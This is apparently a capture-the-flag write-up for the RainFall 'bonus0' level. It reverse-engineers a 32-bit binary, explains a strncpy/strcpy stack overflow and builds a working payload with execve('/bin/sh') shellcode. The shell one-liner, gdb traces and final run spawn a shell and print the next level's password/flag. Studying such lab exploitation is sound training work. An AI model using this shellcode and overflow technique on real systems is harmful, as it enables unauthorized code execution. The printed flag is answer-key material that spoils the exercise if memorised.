

## BONUS:

[illegible]

Same process:

## Strings:

```

→ Debug_files strings bonus0
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
strcpy
strncpy
puts
read
strcat
strchr
__libc_start_main
GLIBC_2.0
PTRh@
P[_]
UWVS
[^_]
;*2$"
GCC: (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
.symtab
.strtab

```

Objdump -d:

```

080485a4 <main>:
80485a4:    55                push    %ebp
80485a5:    89 e5             mov     %esp,%ebp
80485a7:    83 e4 f0          and     $0xffffffff0,%esp
80485aa:    83 ec 40          sub     $0x40,%esp
80485ad:    8d 44 24 16        lea     0x16(%esp),%eax
80485b1:    89 04 24           mov     %eax,(%esp)
80485b4:    e8 65 ff ff ff    call   804851e <pp>
80485b9:    8d 44 24 16        lea     0x16(%esp),%eax
80485bd:    89 04 24           mov     %eax,(%esp)
80485c0:    e8 eb fd ff ff    call   80483b0 <puts@plt>
80485c5:    b8 00 00 00 00    mov     $0x0,%eax
80485ca:    c9               leave
80485cb:    c3               ret

```

0804851e <pp>:

|          |                      |        |                          |
|----------|----------------------|--------|--------------------------|
| 804851e: | 55                   | push   | %ebp                     |
| 804851f: | 89 e5                | mov    | %esp,%ebp                |
| 8048521: | 57                   | push   | %edi                     |
| 8048522: | 53                   | push   | %ebx                     |
| 8048523: | 83 ec 50             | sub    | \$0x50,%esp              |
| 8048526: | c7 44 24 04 a0 86 04 | movl   | \$0x80486a0,0x4(%esp)    |
| 804852d: | 08                   |        |                          |
| 804852e: | 8d 45 d0             | lea    | -0x30(%ebp),%eax         |
| 8048531: | 89 04 24             | mov    | %eax,(%esp)              |
| 8048534: | e8 7b ff ff ff       | call   | 80484b4 <p>              |
| 8048539: | c7 44 24 04 a0 86 04 | movl   | \$0x80486a0,0x4(%esp)    |
| 8048540: | 08                   |        |                          |
| 8048541: | 8d 45 e4             | lea    | -0x1c(%ebp),%eax         |
| 8048544: | 89 04 24             | mov    | %eax,(%esp)              |
| 8048547: | e8 68 ff ff ff       | call   | 80484b4 <p>              |
| 804854c: | 8d 45 d0             | lea    | -0x30(%ebp),%eax         |
| 804854f: | 89 44 24 04          | mov    | %eax,0x4(%esp)           |
| 8048553: | 8b 45 08             | mov    | 0x8(%ebp),%eax           |
| 8048556: | 89 04 24             | mov    | %eax,(%esp)              |
| 8048559: | e8 42 fe ff ff       | call   | 80483a0 <strcpy@plt>     |
| 804855e: | bb a4 86 04 08       | mov    | \$0x80486a4,%ebx         |
| 8048563: | 8b 45 08             | mov    | 0x8(%ebp),%eax           |
| 8048566: | c7 45 c4 ff ff ff ff | movl   | \$0xffffffff,-0x3c(%ebp) |
| 804856d: | 89 c2                | mov    | %eax,%edx                |
| 804856f: | b8 00 00 00 00       | mov    | \$0x0,%eax               |
| 8048574: | 8b 4d c4             | mov    | -0x3c(%ebp),%ecx         |
| 8048577: | 89 d7                | mov    | %edx,%edi                |
| 8048579: | f2 ae                | repnz  | scas %es:(%edi),%al      |
| 804857b: | 89 c8                | mov    | %ecx,%eax                |
| 804857d: | f7 d0                | not    | %eax                     |
| 804857f: | 83 e8 01             | sub    | \$0x1,%eax               |
| 8048582: | 03 45 08             | add    | 0x8(%ebp),%eax           |
| 8048585: | 0f b7 13             | movzwl | (%ebx),%edx              |
| 8048588: | 66 89 10             | mov    | %dx,(%eax)               |
| 804858b: | 8d 45 e4             | lea    | -0x1c(%ebp),%eax         |
| 804858e: | 89 44 24 04          | mov    | %eax,0x4(%esp)           |
| 8048592: | 8b 45 08             | mov    | 0x8(%ebp),%eax           |
| 8048595: | 89 04 24             | mov    | %eax,(%esp)              |
| 8048598: | e8 f3 fd ff ff       | call   | 8048390 <strcat@plt>     |
| 804859d: | 83 c4 50             | add    | \$0x50,%esp              |
| 80485a0: | 5b                   | pop    | %ebx                     |
| 80485a1: | 5f                   | pop    | %edi                     |
| 80485a2: | 5d                   | pop    | %ebp                     |
| 80485a3: | c3                   | ret    |                          |

```

080484b4 <p>:
80484b4: 55                push    %ebp
80484b5: 89 e5            mov     %esp,%ebp
80484b7: 81 ec 18 10 00 00 sub     $0x1018,%esp
80484bd: 8b 45 0c         mov     0xc(%ebp),%eax
80484c0: 89 04 24         mov     %eax,(%esp)
80484c3: e8 e8 fe ff ff   call    80483b0 <puts@plt>
80484c8: c7 44 24 08 00 10 00 movl    $0x1000,0x8(%esp)
80484cf: 00
80484d0: 8d 85 f8 ef ff ff lea     -0x1008(%ebp),%eax
80484d6: 89 44 24 04         mov     %eax,0x4(%esp)
80484da: c7 04 24 00 00 00 00 movl    $0x0,(%esp)
80484e1: e8 9a fe ff ff   call    8048380 <read@plt>
80484e6: c7 44 24 04 0a 00 00 movl    $0xa,0x4(%esp)
80484ed: 00
80484ee: 8d 85 f8 ef ff ff lea     -0x1008(%ebp),%eax
80484f4: 89 04 24         mov     %eax,(%esp)
80484f7: e8 d4 fe ff ff   call    80483d0 <strchr@plt>
80484fc: c6 00 00         movb    $0x0,(%eax)
80484ff: 8d 85 f8 ef ff ff lea     -0x1008(%ebp),%eax
8048505: c7 44 24 08 14 00 00 movl    $0x14,0x8(%esp)
804850c: 00
804850d: 89 44 24 04         mov     %eax,0x4(%esp)
8048511: 8b 45 08         mov     0x8(%ebp),%eax
8048514: 89 04 24         mov     %eax,(%esp)
8048517: e8 d4 fe ff ff   call    80483f0 <strncpy@plt>
804851c: c9              leave
804851d: c3              ret

```

Reversed source code:

```

#include <unistd.h>
#include <string.h>
#include <stdio.h>

char *p(void *arg1, void *arg2)
{
    // stackframe ebp = 0xbffff688
    // &arg1 = 0xbffff690
    // arg1 = 0xbffff6b8   arg1 = 0xbffff6cc
    // &arg2 = 0xbffff694
    // arg2 = 0x080486a0
    char s[0x1018]; //0xbffff688 -> 0xbfffe680: 0xbfffe680

    puts(arg2); // " - "
    read(0, s, 0x1000);

    char *s_eol = strchr(s, '\n');
    *s_eol = '\0';

    return strncpy(arg1, s, 0x14); //0xbffff6b8 = s(0x14)
                                   //0xbffff6cc = s(0x14)
}

```

```

char *pp(char *s1)
{
    // stackframe ebp = 0xbffff6e8
    // &s1 = 0xbffff6f0
    // s1 = 0xbffff706
    char align[0x8]; //0xbffff6e8 -> 0xbffff6e4 -> 0xbffff6e0

    char ptr[0x50]; //0xbffff6e0 -> 0xbffff690 : 0xbffff690

    // void *ptr + 0x28; // 0xbffff6b8; // ebp - 0x30 : 0xbffff6b8
    // void *0x080486a0; //*a2 = ' - '
    p((void*)(ptr + 0x28), " - ");

    // void *ptr + 0x3c; // 0xbffff6cc
    // void *0x080486a0; //*a2 = ' - '
    p((void*)(ptr + 0x3c), " - ");

    strcpy(s1, (void*)(ptr + 0x28)); //0xbffff706 = a1

    int i = 0;
    while (s1[i])
        i++;
    s1[i] = ' ';
    return strcat(s1, (void*)(ptr + 0x3c)); //eip in stack is at 0xbffff6ec
}

```

```

__attribute__((force_align_arg_pointer)) int main()
// ebp = 0xbffff738
char s1[0x10];
char s2[0x2a]; //s2 = 0xbffff706

pp(s2); //&s2 = 0xbffff6f0:
puts(s2);
return 0; //pop 0xbffff73c = jump at 0xb7e454d3

```

The strncpy() limit me on the size I can write to the stack of <pp>, because it will writes what's read for at most 0x14 octet. So I can not override *RET ADDRESS* on the stack of <pp>

Neither for <p>. The 0x14 limit is too low also for re writing the content of pointer \*s1 at its position in the stack.

So the strcpy() will still be at an address 0x36 oct3t far from the location of the returning address of the main (its eip). When  $0x14 * 2 + 1 = 0x29$ ...

So the strcpy() still copy on the same address s1. And it will copy from (**ptr + 0x28**) that can be max 0x14 **WHICH MEAN** that if the string read **is longer than 0x14**, a terminated '\0' **would not be added**

**THE thing** is that the address where the second strNcpy() stores the read buffer is at an address exactly 0x14 octet further (ptr + 0x28) + 0x14 = (ptr + 0x3c)

This is how I can extend the size max of whats stored in s1 by strcpy()

Max is now 0x28.



```


bonus0@RainFall:~$ readelf -l bonus0

Elf file type is EXEC (Executable file)
Entry point 0x8048400
There are 8 program headers, starting at offset 52

Program Headers:
Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
PHDR           0x000034 0x08048034 0x08048034 0x00100 0x00100 R E  0x4
INTERP         0x000134 0x08048134 0x08048134 0x00013 0x00013 R    0x1
      [Requesting program interpreter: /lib/ld-linux.so.2]
LOAD           0x000000 0x08048000 0x08048000 0x007f8 0x007f8 R E 0x1000
LOAD           0x0007f8 0x080497f8 0x080497f8 0x00114 0x0011c RW 0x1000
DYNAMIC         0x00080c 0x0804980c 0x0804980c 0x000c8 0x000c8 RW  0x4
NOTE           0x000148 0x08048148 0x08048148 0x00044 0x00044 R   0x4
GNU_EH_FRAME    0x0006a8 0x080486a8 0x080486a8 0x00044 0x00044 R   0x4
GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4

Section to Segment mapping:
Segment Sections...
00
01      .interp
02      .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame
03      .ctors .dtors .jcr .dynamic .got .got.plt .data .bss
04      .dynamic
05      .note.ABI-tag .note.gnu.build-id
06      .eh_frame_hdr
07
bonus0@RainFall:~$

```



Ok I was wondering how to do if the stack was not executable.  
Another problem now is to fflush stdin 0x1000 + 0x1000.

My goal is to write 54 chars to reach the target address, then write the address i want to return on form the main.

*WHAT DO I EVEN WRITE ON STDIN ?*

The goal : 0xbffff73c

strcpy() max size

0xbffff706 + 0x28 = 0xbffff72e

/

0xbffff706 + 0x14 = 0xbffff71a, + 0x13 = 0xbffff72d, + 0x1 = 0xbffff72e, + 0x11 = 0xbffff72c

0xbffff72e + 1 = 0xbffff72f

0xbffff72f + 0x14 = 0xbffff743

**The thing is that is I want to place correctly my octet, I have to write the return address of 0xbffff706 at a position that will make it store at 0xbffff73c.**

**BUT last octet copied are the same that the 20th octet copied....**

The opcode to execve(/bin/sh):

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80     len 25:

$$0x14 + 0x13 + 1 + 0x13 = 54 + \text{address} + 1$$

$$20 \text{ op} + (5 \text{ op} + 9 \text{ nop} + 4 \text{ addr} + 1 \text{ nop}) + 1 + (5 \text{ op} + 9 \text{ nop} + 4 \text{ addr} + 1 \text{ nop}) = 54 + \text{address} + 1$$

So for my first read I need the beggining of its injection need to be :  $(0x14 * \text{opcodes} + 0xfec * \text{nop}) + (0x5 * \text{op} + 9 * \text{nop} + 0x4 * \text{addr} * 1 \text{ nop})$

So the chain will be :

$$(' \backslash x31 \backslash xc0 \backslash x50 \backslash x68 \backslash x2f \backslash x2f \backslash x73 \backslash x68 \backslash x68 \backslash x2f \backslash x62 \backslash x69 \backslash x6e \backslash x89 \backslash xe3 \backslash x50 \backslash x89 \backslash xe2 \backslash x53 \backslash x89 \backslash xa' + '\backslash x00' * 0xfeb + '\backslash xe1 \backslash xb0 \backslash x0b \backslash xcd \backslash x80' + '\backslash x31 \backslash x31 \backslash x31' + '\backslash x06 \backslash xf7 \backslash xff \backslashxbf' + '\backslash x0a')$$

**! Oh and I need to place a '\n' in both read chains !**

**! And be careful where to place it because it will be turned into a '\0' and stop earlier the strcpy() !**

It is supposed to work :



```

bonus0@RainFall:~$ hexdump /tmp/b0
00000000 c031 6850 2f2f 6873 2f68 6962 896e 50e3
00000100 e289 8953 310a 3131 3131 3131 3131 3131
00000200 3131 3131 3131 3131 3131 3131 3131 3131
*
00010000 b0e1 cd0b 3080 3030 3030 3030 3030 f706
00010100 bfff 0a30
0001014
bonus0@RainFall:~$ █

```

```

Breakpoint 2, 0x080485cb in main ()
(gdb) disas
Dump of assembler code for function main:
   0x080485a4 <+0>:    push    %ebp
   0x080485a5 <+1>:    mov     %esp,%ebp
   0x080485a7 <+3>:    and     $0xffffffff,%esp
   0x080485aa <+6>:    sub     $0x40,%esp
   0x080485ad <+9>:    lea     0x16(%esp),%eax
   0x080485b1 <+13>:   mov     %eax,(%esp)
   0x080485b4 <+16>:   call    0x0804851e <pp>
   0x080485b9 <+21>:   lea     0x16(%esp),%eax
   0x080485bd <+25>:   mov     %eax,(%esp)
   0x080485c0 <+28>:   call    0x080483b0 <puts@plt>
   0x080485c5 <+33>:   mov     $0x0,%eax
   0x080485ca <+38>:   leave
=> 0x080485cb <+39>:   ret
End of assembler dump.
(gdb) x $esp
0xbffff73c:    0xbffff706
(gdb) x/20xw 0xbffff706
0xbffff706:    0x6850c031    0x68732f2f    0x69622f68    0x50e3896e
0xbffff716:    0x8953e289    0xcd0bb0e1    0x30303080    0x30303030
0xbffff726:    0xf7063030    0x2030bfff    0xcd0bb0e1    0x30303080
0xbffff736:    0x30303030    0xf7063030    0x0030bfff    0xf7d40000
0xbffff746:    0xf7dcbfff    0xc858bfff    0x0000b7fd    0xf71c0000
(gdb) █

```

```

(gdb) c
Continuing.
process 11763 is executing new program: /bin/dash
[Inferior 1 (process 11763) exited normally]
(gdb) █

```

BUT NOT:

```
bonus0@RainFall:~$ cat /tmp/b0 - | ./bonus0
-
-
10Ph//shh/bin00P00S00
`0000000000000000 0
`0000000000000000

pwd
Segmentation fault (core dumped)
bonus0@RainFall:~$ █
```

Let's maybe write our payload in another place in the stack ?

<https://shell-storm.org/shellcode/files/shellcode-752.php>

Ok took another a set of opcode online to check if it was that and it worked !!:

`\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80` len 21

```
bonus0@RainFall:~$ echo -en '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80' > /tmp/b0; for i in {1..4075}; do echo -en '\x31'>> /tmp/b0; done ; echo -en '\x80\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x06\xf7\xff\xbf\x30\x0a' >> /tmp/b0
bonus0@RainFall:~$ hexdump /tmp/b0
00000000 c931 e1f7 6851 2f2f 6873 2f68 6962 896e
00000010 b0e3 cd0b 310a 3131 3131 3131 3131 3131
00000020 3131 3131 3131 3131 3131 3131 3131 3131
*
00010000 3080 3030 3030 3030 3030 3030 3030 3030 f706
00010010 bfff 0a30
00010014
bonus0@RainFall:~$ cat /tmp/b0 - | ./bonus0
-
-
1000Qh//shh/bin00
`0000000000000000 0 0000000000000000 0000000000000000
whoami
bonus1
cat /home/user/bonus1/.pass
cd1f77a585965341c37a1774a1d1686326e1fc53aaa5459c840409d4d06523c9
█
```

Flag:

cd1f77a585965341c37a1774a1d1686326e1fc53aaa5459c84  
0409d4d06523c9